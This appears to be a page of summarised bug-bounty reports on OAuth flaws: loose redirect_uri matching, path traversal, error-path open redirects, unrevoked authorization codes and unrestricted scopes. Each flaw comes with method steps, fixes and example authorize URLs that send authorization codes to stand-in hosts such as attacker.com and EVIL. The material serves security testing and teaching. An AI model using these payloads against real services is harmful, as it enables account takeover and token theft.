https://slack.com/oauth/authorize?client_id=<id>&redirect_uri=http://www.google.com.attacker.com
Insight — Test redirect_uri validation with: registered.com.attacker.com, registered.com.evil, registered.com@attacker.com, registered.com/../, and registered.com.<tld>. Any acceptance of a value where the registered host is only a prefix/substring (not an exact origin match) leaks the OAuth code -> account takeover. The fix is exact host + path matching.
Real-world example
OAuth2 authorization code not revoked on access revocation
◆ Info
Specimen #57603 · vimeo · awarded · 8 votes · resolved
Program vimeoSurface apiChain pre-harvest auth code -> user revokes app -> redeem coTag oauthTag account-takeover
Root cause
When a user revokes a third-party app, the API invalidates issued access_tokens but not outstanding authorization codes; a pre-harvested code can still be exchanged for a fresh, valid access_token after revocation.
Method
- Authorize the app and capture the authorization code from the callback
- Exchange it for an access_token (works)
- Trigger the flow again and capture/save a second, unused code
- Revoke the app in account settings - the access_token now 401s
- Exchange the saved code -> new valid access_token, access restored
# harvest a second code before revoking:
https://api.TARGET/oauth/authorize?response_type=code&client_id=...&redirect_uri=https://avuln.com/callback&scope=public&state=...
# after user disconnects the app:
./getAccessToken.sh <saved_unused_code> -> {"access_token":"..."}
Insight — Revocation must invalidate the ENTIRE grant: access_tokens, refresh_tokens AND unused authorization codes. Test by stockpiling a code (optionally auto-issued via an <img> to the authorize URL with approval_prompt=auto), revoking, then redeeming it. A surviving code defeats the user's ability to cut off a malicious app.
Real-world example
OAuth redirect_uri validation bypass via path traversal
◆ Info
Specimen #2559 · slack · awarded · 8 votes · resolved
Program slackSurface webChain redirect_uri bypass -> steal authorization code -> excTag oauthTag account-takeover
Root cause
The OAuth provider only prefix/substring-validates redirect_uri, so appending ../../redirect_url=EVIL escapes the registered callback path and the authorization code is delivered to an attacker-controlled URL.
Method
- Start Login-with-<provider> for an app that uses the provider's OAuth
- Modify redirect_uri to traverse out of the allowed path to an attacker endpoint
- Provider appends ?code=... to the attacker URL; capture code and exchange for a session
https://provider/oauth/authorize?client_id=...&scope=read,post&redirect_uri=https://GIVENSITE/../../redirect_url=https://EVIL/a.php%2Fcomplete
-> redirect: http://GIVENSITE/redirect_url=https:/EVIL/a.php/complete?code=AQC...
Insight — Test redirect_uri for loose matching: path traversal (../), extra path segments, subdomains, @, //, and open-redirects on the allowed host. Any registered-host open redirect turns a strict-looking OAuth into code theft -> ATO.
Real-world example
OAuth RFC6749 open redirect via registered attacker redirect_uri + error response
◆ Info
Specimen #26962 · ibb · USD 3000 · 6 votes · resolved
Program ibbSurface webChain OAuth error redirect -> open redirect -> phishing / toTag oauth
Root cause
RFC6749 says on non-redirect-URI errors the AS appends error params to the redirect_uri and redirects. An attacker registers a client with an attacker-owned redirect_uri, then triggers an error (e.g. invalid scope) so the AS becomes an open redirector to attacker.com without a consent screen.
Method
- Register (or find a client) whose redirect_uri you control (attacker.com).
- Craft an authorize URL that intentionally fails on a non-redirect-URI reason (invalid scope).
- The spec-compliant AS redirects the victim to attacker.com carrying error params, acting as an open redirect.
http://victim.com/authorize?response_type=code&client_id=VALID_CLIENT&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Insight — OAuth authorization servers are open redirectors by design when they redirect on error to a registered redirect_uri. Test invalid scope / invalid response_type against any /authorize endpoint; the fix is HTTP 400 on error or always show consent.
Real-world example
OAuth app requests undocumented/privileged scopes with no server-side allowlist
◆ Info
Specimen #98499 · shopify · USD 500 · 3 votes · resolved
Program shopifySurface apiChain over-scoped token → undocumented beta API (add/remove/modifyTag oauth
Root cause
The OAuth authorize endpoint honors any scope string in the request, including undocumented/privileged beta scopes (read_channels/write_channels) that should require extra vendor approval; the granted access_token then reaches those APIs.
Method
- Build an authorize URL with the documented scopes plus guessed/undocumented ones
- Complete consent and exchange for an access_token
- Use the token against the privileged/beta endpoints (e.g. /admin/channels)
https://victim.myshopify.com/admin/oauth/authorize?client_id=APP&scope=read_channels,write_channels,write_scripts,...&redirect_uri=https://attacker/&state=123&shop=victim
Insight — Test OAuth scope handling by requesting undocumented / higher-privilege scopes in the authorize call. If the server does not restrict scopes to those provisioned for the app, you get access it should never grant. Enumerate scope names from API docs and error responses.